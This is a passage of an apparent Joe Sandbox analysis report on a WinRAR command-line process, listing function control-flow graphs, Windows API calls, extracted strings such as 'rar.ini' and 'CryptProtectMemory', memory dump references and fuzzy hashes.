829 7ff70f3b44eb-7ff70f3b44ee 827->829 828->799 828->829 829->827
                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 0000004A.00000002.1810075262.00007FF70F371000.00000020.00000001.01000000.00000019.sdmp, Offset: 00007FF70F370000, based on PE: true
                                              • Associated: 0000004A.00000002.1810056392.00007FF70F370000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810124637.00007FF70F3E0000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810147500.00007FF70F3F8000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810169744.00007FF70F3F9000.00000008.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F3FA000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F404000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F40E000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F416000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810274913.00007FF70F418000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810294839.00007FF70F41E000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_74_2_7ff70f370000_rar.jbxd
                                              Similarity
                                              • API ID: FileModuleNamesnprintfwcschr
                                              • String ID: ,$$%s:$*messages***$*messages***$@%s:$DIALOG$DIRECTION$MENU$RTL$STRINGS$\
                                              • API String ID: 602362809-1645646101
                                              • Opcode ID: 26ff503d5ee0722652d1f7015d0c089361d055b813774a06cce7c88a8175ae49
                                              • Instruction ID: 0237a4996baa14dc324d7913050ec72de27b243bbec4135390bd82914977b34d
                                              • Opcode Fuzzy Hash: 26ff503d5ee0722652d1f7015d0c089361d055b813774a06cce7c88a8175ae49
                                              • Instruction Fuzzy Hash: 6E228E22A1CAC295EA20EF15D8606F9F361FF447A4FC0413AEA4D8F696EF2CE554C354
                                              Function 00007FF70F384FD0 Relevance: 14.3, APIs: 2, Strings: 6, Instructions: 293COMMON
                                              Download Yara Rule

                                              Control-flow Graph

                                              • Executed
                                              • Not Executed
                                              control_flow_graph 1405 7ff70f384fd0-7ff70f38502d call 7ff70f3ca5a0 1408 7ff70f38504d-7ff70f385055 1405->1408 1409 7ff70f38502f-7ff70f385037 1405->1409 1411 7ff70f38506e-7ff70f385089 call 7ff70f3a420c 1408->1411 1412 7ff70f385057-7ff70f385069 call 7ff70f38481c 1408->1412 1409->1408 1410 7ff70f385039-7ff70f38504b call 7ff70f3cc8a0 1409->1410 1410->1408 1410->1412 1418 7ff70f38508b-7ff70f38509d call 7ff70f3ba9c0 1411->1418 1419 7ff70f38509f-7ff70f3850b6 call 7ff70f3bdb08 1411->1419 1412->1411 1424 7ff70f38511b-7ff70f385131 call 7ff70f3cc8a0 1418->1424 1419->1424 1425 7ff70f3850b8-7ff70f3850c3 call 7ff70f3ba59c 1419->1425 1430 7ff70f385137-7ff70f38513e 1424->1430 1431 7ff70f385203-7ff70f38520d call 7ff70f3baa48 1424->1431 1425->1424 1432 7ff70f3850c5-7ff70f3850cf call 7ff70f393054 1425->1432 1433 7ff70f38516c-7ff70f3851be call 7ff70f3baa1c call 7ff70f3baa48 call 7ff70f3b6e98 1430->1433 1434 7ff70f385140-7ff70f385167 call 7ff70f3a3f98 1430->1434 1440 7ff70f385212-7ff70f38521c 1431->1440 1432->1424 1441 7ff70f3850d1-7ff70f385107 call 7ff70f3ba9e8 call 7ff70f3ba9c0 call 7ff70f393054 1432->1441 1497 7ff70f3851d3-7ff70f3851e8 call 7ff70f3b7a24 1433->1497 1434->1433 1443 7ff70f3852db-7ff70f3852e0 1440->1443 1444 7ff70f385222 1440->1444 1441->1424 1521 7ff70f385109-7ff70f385116 call 7ff70f3ba9e8 1441->1521 1445 7ff70f3852e6-7ff70f3852e9 1443->1445 1446 7ff70f385453-7ff70f385477 call 7ff70f38f00c call 7ff70f38f230 call 7ff70f38f09c 1443->1446 1449 7ff70f385228-7ff70f38522d 1444->1449 1450 7ff70f38532f-7ff70f385332 1444->1450 1454 7ff70f385379-7ff70f385382 1445->1454 1455 7ff70f3852ef-7ff70f3852f2 1445->1455 1499 7ff70f38547c-7ff70f385483 1446->1499 1449->1450 1458 7ff70f385233-7ff70f385236 1449->1458 1452 7ff70f38533b-7ff70f38533e 1450->1452 1453 7ff70f385334 1450->1453 1462 7ff70f385347-7ff70f385358 call 7ff70f371230 call 7ff70f374858 1452->1462 1463 7ff70f385340 1452->1463 1453->1452 1460 7ff70f385449-7ff70f385451 call 7ff70f3aeab8 1454->1460 1461 7ff70f385388-7ff70f38538b 1454->1461 1464 7ff70f38536c-7ff70f385374 call 7ff70f3b81cc 1455->1464 1465 7ff70f3852f4-7ff70f3852f7 1455->1465 1468 7ff70f385238-7ff70f38523b 1458->1468 1469 7ff70f385290-7ff70f385299 1458->1469 1460->1499 1472 7ff70f38541b-7ff70f385433 call 7ff70f3bab1c 1461->1472 1473 7ff70f385391-7ff70f385397 1461->1473 1529 7ff70f38535d 1462->1529 1463->1462 1464->1499 1465->1446 1475 7ff70f3852fd-7ff70f385300 1465->1475 1480 7ff70f38523d-7ff70f385240 1468->1480 1481 7ff70f385274-7ff70f38528b call 7ff70f371230 call 7ff70f3748ec 1468->1481 1477 7ff70f38529b-7ff70f38529e 1469->1477 1478 7ff70f3852b2-7ff70f3852bd 1469->1478 1472->1499 1528 7ff70f385435-7ff70f385447 call 7ff70f3abbd4 1472->1528 1488 7ff70f38540c-7ff70f385419 call 7ff70f3a54f8 call 7ff70f3a51e4 1473->1488 1489 7ff70f385399-7ff70f38539c 1473->1489 1475->1450 1490 7ff70f385302-7ff70f385305 1475->1490 1483 7ff70f3852ce-7ff70f3852d6 call 7ff70f3a55e0 1477->1483 1496 7ff70f3852a0-7ff70f3852a6 1477->1496 1478->1483 1484 7ff70f3852bf-7ff70f3852c9 call 7ff70f3ba9e8 1478->1484 1480->1446 1492 7ff70f385246-7ff70f385249 1480->1492 1545 7ff70f38535e-7ff70f385362 call 7ff70f3714fc 1481->1545 1483->1499 1484->1483 1488->1499 1502 7ff70f38539e-7ff70f3853a1 1489->1502 1503 7ff70f3853ef-7ff70f385401 call 7ff70f3845c8 1489->1503 1504 7ff70f385307-7ff70f38530a 1490->1504 1505 7ff70f385322-7ff70f38532a call 7ff70f3967e0 1490->1505 1492->1450 1507 7ff70f38524f-7ff70f385252 1492->1507 1512 7ff70f3852a8-7ff70f3852ad call 7ff70f387214 1496->1512 1513 7ff70f385313-7ff70f38531d call 7ff70f38481c 1496->1513 1531 7ff70f3851ea-7ff70f385201 call 7ff70f3b6f68 call 7ff70f3714c0 1497->1531 1532 7ff70f3851c0-7ff70f3851ce call 7ff70f3baa48 1497->1532 1518 7ff70f385485-7ff70f38548c call 7ff70f388444 1499->1518 1519 7ff70f385491-7ff70f3854bc call 7ff70f3ca610 1499->1519 1502->1513 1517 7ff70f3853a7-7ff70f3853d5 call 7ff70f3845c8 call 7ff70f3bab1c 1502->1517 1503->1488 1504->1446 1520 7ff70f385310 1504->1520 1505->1499 1507->1446 1524 7ff70f385258-7ff70f38525b 1507->1524 1512->1499 1513->1499 1517->1499 1561 7ff70f3853db-7ff70f3853ea call 7ff70f3aba9c 1517->1561 1518->1519 1520->1513 1521->1424 1539 7ff70f38525d-7ff70f385260 1524->1539 1540 7ff70f38526b-7ff70f385272 1524->1540 1528->1499 1529->1545 1531->1440 1532->1497 1539->1505 1550 7ff70f385266 1539->1550 1540->1483 1557 7ff70f385367 1545->1557 1550->1520 1557->1499 1561->1499
                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 0000004A.00000002.1810075262.00007FF70F371000.00000020.00000001.01000000.00000019.sdmp, Offset: 00007FF70F370000, based on PE: true
                                              • Associated: 0000004A.00000002.1810056392.00007FF70F370000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810124637.00007FF70F3E0000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810147500.00007FF70F3F8000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810169744.00007FF70F3F9000.00000008.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F3FA000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F404000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F40E000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F416000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810274913.00007FF70F418000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810294839.00007FF70F41E000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_74_2_7ff70f370000_rar.jbxd
                                              Similarity
                                              • API ID: wcschr
                                              • String ID: .part$.rar$.rar$AFUMD$FUADPXETK$stdin
                                              • API String ID: 1497570035-1281034975
                                              • Opcode ID: 43ddd1800645f40e7e0ad877604b3aadd6ee3f0a81332a219ef4bf9da79026d2
                                              • Instruction ID: 1cb7c18dedc5ed674629715dcd886a6a485888c041b3f531676b50a895da8896
                                              • Opcode Fuzzy Hash: 43ddd1800645f40e7e0ad877604b3aadd6ee3f0a81332a219ef4bf9da79026d2
                                              • Instruction Fuzzy Hash: 99C16261A1C7C250EBA4BA258C511FCE251EF467B4FC84139DA4E4F6DADF6CE5068320
                                              Function 00007FF70F3B7F24 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 100libraryloaderCOMMON
                                              Download Yara Rule

                                              Control-flow Graph

                                              • Executed
                                              • Not Executed
                                              control_flow_graph 1564 7ff70f3b7f24-7ff70f3b7f5c 1565 7ff70f3b7fd0 1564->1565 1566 7ff70f3b7f5e-7ff70f3b7f64 1564->1566 1567 7ff70f3b7fd7-7ff70f3b7fea 1565->1567 1566->1565 1568 7ff70f3b7f66-7ff70f3b7f7c call 7ff70f3bb3f0 1566->1568 1570 7ff70f3b8036-7ff70f3b8039 1567->1570 1571 7ff70f3b7fec-7ff70f3b7fef 1567->1571 1576 7ff70f3b7fb5 1568->1576 1577 7ff70f3b7f7e-7ff70f3b7fb3 GetProcAddressForCaller GetProcAddress 1568->1577 1573 7ff70f3b803b-7ff70f3b804a 1570->1573 1574 7ff70f3b805c-7ff70f3b8065 GetCurrentProcessId 1570->1574 1571->1574 1575 7ff70f3b7ff1-7ff70f3b8000 1571->1575 1584 7ff70f3b804f-7ff70f3b8051 1573->1584 1578 7ff70f3b8077-7ff70f3b8093 1574->1578 1579 7ff70f3b8067 1574->1579 1585 7ff70f3b8005-7ff70f3b8007 1575->1585 1580 7ff70f3b7fbc-7ff70f3b7fce 1576->1580 1577->1580 1583 7ff70f3b8069-7ff70f3b8075 1579->1583 1580->1567 1583->1578 1583->1583 1584->1578 1586 7ff70f3b8053-7ff70f3b805a 1584->1586 1585->1578 1587 7ff70f3b8009 1585->1587 1588 7ff70f3b8010-7ff70f3b8034 call 7ff70f38ca6c call 7ff70f38cda4 call 7ff70f38ca40 1586->1588 1587->1588 1588->1578
                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 0000004A.00000002.1810075262.00007FF70F371000.00000020.00000001.01000000.00000019.sdmp, Offset: 00007FF70F370000, based on PE: true
                                              • Associated: 0000004A.00000002.1810056392.00007FF70F370000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810124637.00007FF70F3E0000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810147500.00007FF70F3F8000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810169744.00007FF70F3F9000.00000008.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F3FA000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F404000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F40E000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F416000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810274913.00007FF70F418000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810294839.00007FF70F41E000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_74_2_7ff70f370000_rar.jbxd
                                              Similarity
                                              • API ID: AddressProc$CallerCurrentDirectoryProcessSystem
                                              • String ID: Crypt32.dll$CryptProtectMemory$CryptProtectMemory failed$CryptUnprotectMemory$CryptUnprotectMemory failed
                                              • API String ID: 1389829785-2207617598
                                              • Opcode ID: 55f9cc654a4765269b34be058e69e02607cbee85ebbaa2d255acd8e9286e0d92
                                              • Instruction ID: 93276f0436330cec7aa4c37344ddc0b1bf9c295fc82b99c700ceadf5537699d7
                                              • Opcode Fuzzy Hash: 55f9cc654a4765269b34be058e69e02607cbee85ebbaa2d255acd8e9286e0d92
                                              • Instruction Fuzzy Hash: F6415825A0DBC391EA04AB52AC505B5F764FF88BE4F981138DE1D0B794DF7CE4428320
                                              Function 00007FF70F3CB0FC Relevance: 13.6, APIs: 9, Instructions: 92COMMON
                                              Download Yara Rule

                                              Control-flow Graph

                                              APIs
                                              Memory Dump Source
                                              • Source File: 0000004A.00000002.1810075262.00007FF70F371000.00000020.00000001.01000000.00000019.sdmp, Offset: 00007FF70F370000, based on PE: true
                                              • Associated: 0000004A.00000002.1810056392.00007FF70F370000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810124637.00007FF70F3E0000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810147500.00007FF70F3F8000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810169744.00007FF70F3F9000.00000008.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F3FA000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F404000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F40E000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F416000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810274913.00007FF70F418000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810294839.00007FF70F41E000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_74_2_7ff70f370000_rar.jbxd
                                              Similarity
                                              • API ID: ExceptionFilterPresentUnhandled__scrt_fastfail__scrt_is_nonwritable_in_current_image$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual__isa_available_init__scrt_acquire_startup_lock__scrt_initialize_crt__scrt_is_managed_app__scrt_release_startup_lock__scrt_uninitialize_crt__vcrt_initialize
                                              • String ID:
                                              • API String ID: 552178382-0
                                              • Opcode ID: 9c665b31eb0b804363cbc587f94f2e5aa54598bfa8fc207139a92aecf1914098
                                              • Instruction ID: 81fa50b978f42d3362f5ac70eacc12e4fff29418aa810e21709320c2aa2242d5
                                              • Opcode Fuzzy Hash: 9c665b31eb0b804363cbc587f94f2e5aa54598bfa8fc207139a92aecf1914098
                                              • Instruction Fuzzy Hash: 2531EA11A0C6C741EA14BF65ED623F9D291EF857A8F84403DEA4D4F2D7DF2DA40487A1
                                              Function 00007FF70F391E80 Relevance: 7.6, APIs: 5, Instructions: 127filetimeCOMMON
                                              Download Yara Rule

                                              Control-flow Graph

                                              • Executed
                                              • Not Executed
                                              control_flow_graph 1773 7ff70f391e80-7ff70f391ebb call 7ff70f3ca5a0 1776 7ff70f391ec8 1773->1776 1777 7ff70f391ebd-7ff70f391ec1 1773->1777 1779 7ff70f391ecb-7ff70f391f57 CreateFileW 1776->1779 1777->1776 1778 7ff70f391ec3-7ff70f391ec6 1777->1778 1778->1779 1780 7ff70f391f59-7ff70f391f76 GetLastError call 7ff70f3a4534 1779->1780 1781 7ff70f391fcd-7ff70f391fd1 1779->1781 1789 7ff70f391f78-7ff70f391fb6 CreateFileW GetLastError 1780->1789 1790 7ff70f391fba 1780->1790 1782 7ff70f391fd3-7ff70f391fd7 1781->1782 1783 7ff70f391ff7-7ff70f39200f 1781->1783 1782->1783 1785 7ff70f391fd9-7ff70f391ff1 SetFileTime 1782->1785 1786 7ff70f392011-7ff70f392022 call 7ff70f3ba9e8 1783->1786 1787 7ff70f392027-7ff70f39204b call 7ff70f3ca610 1783->1787 1785->1783 1786->1787 1789->1781 1793 7ff70f391fb8 1789->1793 1794 7ff70f391fbf-7ff70f391fc1 1790->1794 1793->1794 1794->1781 1796 7ff70f391fc3 1794->1796 1796->1781
                                              APIs
                                              Memory Dump Source
                                              • Source File: 0000004A.00000002.1810075262.00007FF70F371000.00000020.00000001.01000000.00000019.sdmp, Offset: 00007FF70F370000, based on PE: true
                                              • Associated: 0000004A.00000002.1810056392.00007FF70F370000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810124637.00007FF70F3E0000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810147500.00007FF70F3F8000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810169744.00007FF70F3F9000.00000008.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F3FA000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F404000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F40E000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F416000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810274913.00007FF70F418000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810294839.00007FF70F41E000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_74_2_7ff70f370000_rar.jbxd
                                              Similarity
                                              • API ID: File$CreateErrorLast$Time
                                              • String ID:
                                              • API String ID: 1999340476-0
                                              • Opcode ID: 892e3554a84f7d5f3af4d66201b4842f90aabb2a874f58c4d931fe245cb08f10
                                              • Instruction ID: 5a9baf4618f290cf79262a751d57dc3c9d3a9b5e8f2a0318784ea4647150f632
                                              • Opcode Fuzzy Hash: 892e3554a84f7d5f3af4d66201b4842f90aabb2a874f58c4d931fe245cb08f10
                                              • Instruction Fuzzy Hash: 35411472A1C6C646EB64AB24E8047E9E690EF45BB8F800338DE7E0A7C4DB7CC4458B50
                                              Function 00007FF70F386AD0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 113COMMON
                                              Download Yara Rule

                                              Control-flow Graph

                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 0000004A.00000002.1810075262.00007FF70F371000.00000020.00000001.01000000.00000019.sdmp, Offset: 00007FF70F370000, based on PE: true
                                              • Associated: 0000004A.00000002.1810056392.00007FF70F370000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810124637.00007FF70F3E0000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810147500.00007FF70F3F8000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810169744.00007FF70F3F9000.00000008.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F3FA000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F404000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F40E000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F416000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810274913.00007FF70F418000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810294839.00007FF70F41E000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_74_2_7ff70f370000_rar.jbxd
                                              Similarity
                                              • API ID: swprintf
                                              • String ID: rar.ini$switches=$switches_%ls=
                                              • API String ID: 233258989-2235180025
                                              • Opcode ID: 7d70d85aa57c4b2adeedb5d1110c6c2e0691d0eb838de4c05f034f10faa9e0d3
                                              • Instruction ID: 068bd3f747e582a09a6cc59b9c8f6d2c6e9f7d6b7afb9bf71e24b0c90c07a168
                                              • Opcode Fuzzy Hash: 7d70d85aa57c4b2adeedb5d1110c6c2e0691d0eb838de4c05f034f10faa9e0d3
                                              • Instruction Fuzzy Hash: 7E415E22A1C7C241EA14FB21D8611E9F3A4EF457B8F801539EA5D0B6D5EF7CD956C320
                                              Function 00007FF70F3A7E20 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 102COMMON
                                              Download Yara Rule

                                              Control-flow Graph

                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 0000004A.00000002.1810075262.00007FF70F371000.00000020.00000001.01000000.00000019.sdmp, Offset: 00007FF70F370000, based on PE: true
                                              • Associated: 0000004A.00000002.1810056392.00007FF70F370000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810124637.00007FF70F3E0000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810147500.00007FF70F3F8000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810169744.00007FF70F3F9000.00000008.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F3FA000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F404000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F40E000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F416000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810274913.00007FF70F418000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810294839.00007FF70F41E000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_74_2_7ff70f370000_rar.jbxd
                                              Similarity
                                              • API ID: AddressHandleModuleProcsetbuf$ErrorLibraryLoadModeVersion
                                              • String ID: rar.lng
                                              • API String ID: 553376247-2410228151
                                              • Opcode ID: 0cdb54aa40ba2ca26f1ddd7e9615ca47f74f76cd710d464ec92b81866409da64
                                              • Instruction ID: 4e2da22403b4f49bb94c8aa9e02245f6f668b46784e058c84d9d4e92ea0a56bc
                                              • Opcode Fuzzy Hash: 0cdb54aa40ba2ca26f1ddd7e9615ca47f74f76cd710d464ec92b81866409da64
                                              • Instruction Fuzzy Hash: A6415A22A0D2C246EA14BB21AC512F9E391DF917A4FD8513DEA0E4F7D7CF2DA5068770
                                              Function 00007FF70F3A40A4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63COMMON
                                              Download Yara Rule

                                              Control-flow Graph

                                              APIs
                                              • SHGetMalloc.SHELL32(?,00000800,?,00007FF70F3A4432,?,?,?,?,00000800,00000000,00000000,00007FF70F3A38CB,?,?,?,00007FF70F3A41EC), ref: 00007FF70F3A40C4
                                              • SHGetSpecialFolderLocation.SHELL32(?,?,?,?,00000800,00000000,00000000,00007FF70F3A38CB,?,?,?,00007FF70F3A41EC), ref: 00007FF70F3A40DF
                                              • SHGetPathFromIDListW.SHELL32 ref: 00007FF70F3A40F1
                                                • Part of subcall function 00007FF70F393458: CreateDirectoryW.KERNEL32(00000800,00000000,?,00007FF70F3A413F,?,?,?,?,00000800,00000000,00000000,00007FF70F3A38CB,?,?,?,00007FF70F3A41EC), ref: 00007FF70F3934A0
                                                • Part of subcall function 00007FF70F393458: CreateDirectoryW.KERNEL32(00000800,00000000,?,00007FF70F3A413F,?,?,?,?,00000800,00000000,00000000,00007FF70F3A38CB,?,?,?,00007FF70F3A41EC), ref: 00007FF70F3934D5
                                              Strings
                                              Memory Dump Source
                                              • Source File: 0000004A.00000002.1810075262.00007FF70F371000.00000020.00000001.01000000.00000019.sdmp, Offset: 00007FF70F370000, based on PE: true
                                              • Associated: 0000004A.00000002.1810056392.00007FF70F370000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810124637.00007FF70F3E0000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810147500.00007FF70F3F8000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810169744.00007FF70F3F9000.00000008.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F3FA000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F404000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F40E000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F416000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810274913.00007FF70F418000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810294839.00007FF70F41E000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_74_2_7ff70f370000_rar.jbxd
                                              Similarity
                                              • API ID: CreateDirectory$FolderFromListLocationMallocPathSpecial
                                              • String ID: WinRAR
                                              • API String ID: 977838571-3970807970
                                              • Opcode ID: 415bfa020dc0990cad3e0501dba2d99d0bb0d0c3ec71343b5049903f98ccb042
                                              • Instruction ID: e193a59df8cb580684783f7e2e95fb6d6df7606ec979011cdcf6474c52dca91e
                                              • Opcode Fuzzy Hash: 415bfa020dc0990cad3e0501dba2d99d0bb0d0c3ec71343b5049903f98ccb042
                                              • Instruction Fuzzy Hash: D2215056A0CA8280EA55AF13FD502EAE360EF99BE4B895039DF0E4B795DF7CD4448610
                                              Function 00007FF70F391C74 Relevance: 6.1, APIs: 4, Instructions: 55fileCOMMON
                                              Download Yara Rule
                                              APIs
                                              Memory Dump Source
                                              • Source File: 0000004A.00000002.1810075262.00007FF70F371000.00000020.00000001.01000000.00000019.sdmp, Offset: 00007FF70F370000, based on PE: true
                                              • Associated: 0000004A.00000002.1810056392.00007FF70F370000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810124637.00007FF70F3E0000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810147500.00007FF70F3F8000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810169744.00007FF70F3F9000.00000008.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F3FA000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F404000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F40E000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F416000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810274913.00007FF70F418000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810294839.00007FF70F41E000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_74_2_7ff70f370000_rar.jbxd
                                              Similarity
                                              • API ID: ErrorLast$FileHandleRead
                                              • String ID:
                                              • API String ID: 2244327787-0
                                              • Opcode ID: 3b78d4ed6aa6b5a120351a24eca7d2297273107fe5a6a7e720e5693830f3c1e4
                                              • Instruction ID: 3f45564200b240ed7d8921ba30b9146b43a0e432de007db8dd5560590163a093
                                              • Opcode Fuzzy Hash: 3b78d4ed6aa6b5a120351a24eca7d2297273107fe5a6a7e720e5693830f3c1e4
                                              • Instruction Fuzzy Hash: F4218121E0C58781EA64BB25E8003B9E2A4FF41BB8FA04539E95D5F6C8CF6DD8408A71
                                              Function 00007FF70F3849F8 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 205COMMON
                                              Download Yara Rule
                                              Strings
                                              Memory Dump Source
